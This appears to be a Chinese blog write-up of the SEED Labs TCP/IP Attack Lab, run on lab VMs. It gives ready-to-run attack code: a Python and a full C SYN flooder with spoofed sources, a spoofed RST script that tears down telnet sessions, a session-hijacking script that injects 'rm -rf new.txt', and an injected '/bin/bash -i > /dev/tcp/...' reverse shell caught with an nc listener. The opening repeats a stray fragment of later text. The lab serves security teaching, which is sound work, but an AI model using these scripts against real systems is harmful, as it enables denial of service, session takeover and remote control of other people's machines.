【信息安全】seed-labs实验-TCP/IP Attack Lab
文件删除成功,并且客户端的光标被锁死,无法输入命令(这个是因为客户端的终端失去了正确的ack与seq,既无法发出信息,也无法接收信息,甚至无法退出。在wireshark上可以找到最新的报文信息,最新的是客户端发给服务器的,那我们模拟客户端再发一条,只需要改变序列号就好了。在wireshark上可以找到最新的报文信息,最新的是客户端发给服务器的,那我们模拟客户端再发一条,只需要改变序列号就好了。攻击
目录
环境搭建
Install SEED VM on VirtualBox
上面完成了一台虚拟机的基本配置,然后clone两台虚拟机,和原来的虚拟机一起,分别是attacker、victim和observer。
attacker是发起攻击的机器、victim是遭受攻击的机器和observer是观察用的机器,同时后面也将victim作为客户端、observer作为服务器。
Oracle VirtualBox复制虚拟机
观察三台机器的ip
# 使用ifconfig命令
attacker的ip是10.0.2.5
victim的ip是10.0.2.6
observer的ip是10.0.2.7
辅助
Task 1: SYN Flooding Attack
大致原理:
使用大量的半连接tcp占满tcp连接池,正常的tcp请求就无法被接受,无法被处理了。
victim机器的基本配置
# 在victim上关闭SYN Cookie
# SYN Cookie是对SYN Flooding的防御措施,默认是1,即开启
sudo sysctl -w net.ipv4.tcp_syncookies=0
# 清空tcp缓存
# 因为Telnet会给未成功完成登录的终端留一个监听,所以如果不清空tcp缓存,即使发动了SYN范洪攻击,第二次telnet也会登录上了
sudo ip tcp_metrics flush
查看泛洪攻击前victim上的TCP链接的状态
attacker发起攻击
攻击脚本:py文件(攻击速度慢,因为是虚拟机,半连接会自动重置,要是攻击的速度赶不上重置的速度就实验失败了)
注意:
每次攻击前,需要在victim上清空tcp缓存
vim synflood.py
sudo python3 synflood.py
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.0.2.6")
tcp = TCP(dport=23, flags="S")
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
攻击脚本:c文件(攻击速度块)
注意:
每次攻击前,需要在victim上清空tcp缓存
vim synflood.c
gcc synflood.c -o synflood
sudo ./synflood 10.0.2.6 23
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
/* TCP Header */
struct tcpheader {
u_short tcp_sport; /* source port */
u_short tcp_dport; /* destination port */
u_int tcp_seq; /* sequence number */
u_int tcp_ack; /* acknowledgement number */
u_char tcp_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short tcp_win; /* window */
u_short tcp_sum; /* checksum */
u_short tcp_urp; /* urgent pointer */
};
/* Psuedo TCP header */
struct pseudo_tcp
{
unsigned saddr, daddr;
unsigned char mbz;
unsigned char ptcl;
unsigned short tcpl;
struct tcpheader tcp;
char payload[1500];
};
//#define DEST_IP "10.9.0.5"
//#define DEST_PORT 23 // Attack the web server
#define PACKET_LEN 1500
unsigned short calculate_tcp_checksum(struct ipheader *ip);
/*************************************************************
Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
fprintf(stderr, "socket() failed: %s\n", strerror(errno));
exit(1);
}
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, ip, ntohs(ip->iph_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
/******************************************************************
Spoof a TCP SYN packet.
*******************************************************************/
int main(int argc, char *argv[]) {
char buffer[PACKET_LEN];
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer +
sizeof(struct ipheader));
if (argc < 3) {
printf("Please provide IP and Port number\n");
printf("Usage: synflood ip port\n");
exit(1);
}
char *DEST_IP = argv[1];
int DEST_PORT = atoi(argv[2]);
srand(time(0)); // Initialize the seed for random # generation.
while (1) {
memset(buffer, 0, PACKET_LEN);
/*********************************************************
Step 1: Fill in the TCP header.
********************************************************/
tcp->tcp_sport = rand(); // Use random source port
tcp->tcp_dport = htons(DEST_PORT);
tcp->tcp_seq = rand(); // Use random sequence #
tcp->tcp_offx2 = 0x50;
tcp->tcp_flags = TH_SYN; // Enable the SYN bit
tcp->tcp_win = htons(20000);
tcp->tcp_sum = 0;
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
ip->iph_ver = 4; // Version (IPV4)
ip->iph_ihl = 5; // Header length
ip->iph_ttl = 50; // Time to live
ip->iph_sourceip.s_addr = rand(); // Use a random IP address
ip->iph_destip.s_addr = inet_addr(DEST_IP);
ip->iph_protocol = IPPROTO_TCP; // The value is 6.
ip->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct tcpheader));
// Calculate tcp checksum
tcp->tcp_sum = calculate_tcp_checksum(ip);
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
send_raw_ip_packet(ip);
}
return 0;
}
unsigned short in_cksum (unsigned short *buf, int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0;
/*
* The algorithm uses a 32 bit accumulator (sum), adds
* sequential 16 bit words to it, and at the end, folds back all
* the carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* treat the odd byte at the end, if any */
if (nleft == 1) {
*(u_char *)(&temp) = *(u_char *)w ;
sum += temp;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16
sum += (sum >> 16); // add carry
return (unsigned short)(~sum);
}
/****************************************************************
TCP checksum is calculated on the pseudo header, which includes
the TCP header and data, plus some part of the IP header.
Therefore, we need to construct the pseudo header first.
*****************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
sizeof(struct ipheader));
int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);
/* pseudo tcp header for the checksum computation */
struct pseudo_tcp p_tcp;
memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));
p_tcp.saddr = ip->iph_sourceip.s_addr;
p_tcp.daddr = ip->iph_destip.s_addr;
p_tcp.mbz = 0;
p_tcp.ptcl = IPPROTO_TCP;
p_tcp.tcpl = htons(tcp_len);
memcpy(&p_tcp.tcp, tcp, tcp_len);
return (unsigned short) in_cksum((unsigned short *)&p_tcp,
tcp_len + 12);
}
结果:
查看泛洪攻击后victim上的TCP链接的状态,发现全是半连接状态
尝试使用telnet连接victim,发现连不上了
注意:
攻击的脚本不要停止,因为是虚拟机,半连接会被自动重置掉,所以要一直攻击
Task 2: TCP RST Attacks on telnet Connections
大致原理:
在tcp连接建立之后,虚拟RST报文,重置当前的tcp连接。因为telnet是基于tcp的,所以RST攻击可以强制中断telnet连接。
注:
telnet退出:先按Ctrl+],然后在telnet命令行中输入quit
这里我们将victim作为客户端,observer作为服务器,victim使用telnet远程登录observer,接着attacker发送虚拟RST报文中断这个连接。其中的关键就是构造虚拟RST报文,相关信息可以通过wireshark捕获到,下面是实验流程:
observer打开wireshark进行抓包(基本环境可能配置完了,直接点开始就好了)
victim使用telnet远程登录observer
在wireshark上可以找到对应的报文信息,我们是想模拟服务器给客户端发送RST报文,所以找的就是最新的服务器发给客户端的报文。注意观察源ip、目的ip、源端口、目的端口,只要确定没有问题了,再看下一条的序列号和ack。
根据上面的信息构造RST报文:
vim RST.py
sudo python3 RST.py
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.0.2.7", dst="10.0.2.6")
tcp = TCP(sport=23, dport=43786, flags="R", seq=2604418268)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
结果:
发现客户端的telnet连接被中断了
Task 3: TCP Session Hijacking
大致原理:
在tcp连接建立之后,虚拟ACK报文,发送攻击者的数据。因为telnet是基于tcp的,所以会话劫持攻击可以嵌入攻击者的shell指令。
这里我们将victim作为客户端,observer作为服务器,服务器上有个文件new.txt,victim使用telnet远程登录observer,接着attacker发送虚拟ACK报文删除new.txt。其中的关键就是构造虚拟RST报文,相关信息可以通过wireshark捕获到,下面是实验流程:
在服务器上创建文件
客户端远程登录服务器
在wireshark上可以找到最新的报文信息,最新的是客户端发给服务器的,那我们模拟客户端再发一条,只需要改变序列号就好了
vim Hijacking.py
sudo python3 Hijacking.py
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.7")
tcp = TCP(sport=60416, dport=23, flags="A", seq=3016242569, ack=691405153)
data = "rm -rf new.txt"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
结果发现
:文件删除成功,并且客户端的光标被锁死,无法输入命令(这个是因为客户端的终端失去了正确的ack与seq,既无法发出信息,也无法接收信息,甚至无法退出。)
Task 4: Creating Reverse Shell using TCP Session Hijacking
大致原理:
这个实验的原理和上面那个实验几乎是一样的。
这次我们嵌入的命令是将shell控制台发送出去,攻击者接收这个控制台,就可以实现对于服务器的控制了。攻击者要接收这个控制台,我们就在攻击者上开启一个端口监听这个信息就好了,下面是实验流程:
# 攻击者开启9090端口的监听,待会就将shell控制台发送到这个端口上
sudo nc -lnv 9090
客户端远程登录服务器
在wireshark上可以找到最新的报文信息,最新的是客户端发给服务器的,那我们模拟客户端再发一条,只需要改变序列号就好了
vim Hijacking.py
sudo python3 Hijacking.py
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.7")
tcp = TCP(sport=47522, dport=23, flags="A", seq=1169866989, ack=3951741091)
# 这个命令就实现了将控制台发送给攻击者的9090端口的作用(大致意思是这样的 但语句还是有点复杂的)
data = " /bin/bash -i > /dev/tcp/10.0.2.5/9090 0<&1 2>&1\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
结果:
攻击者与服务器建立了连接,比如使用ifconfig命令查看ip,接下来攻击者就可以为所欲为了
更多推荐
所有评论(0)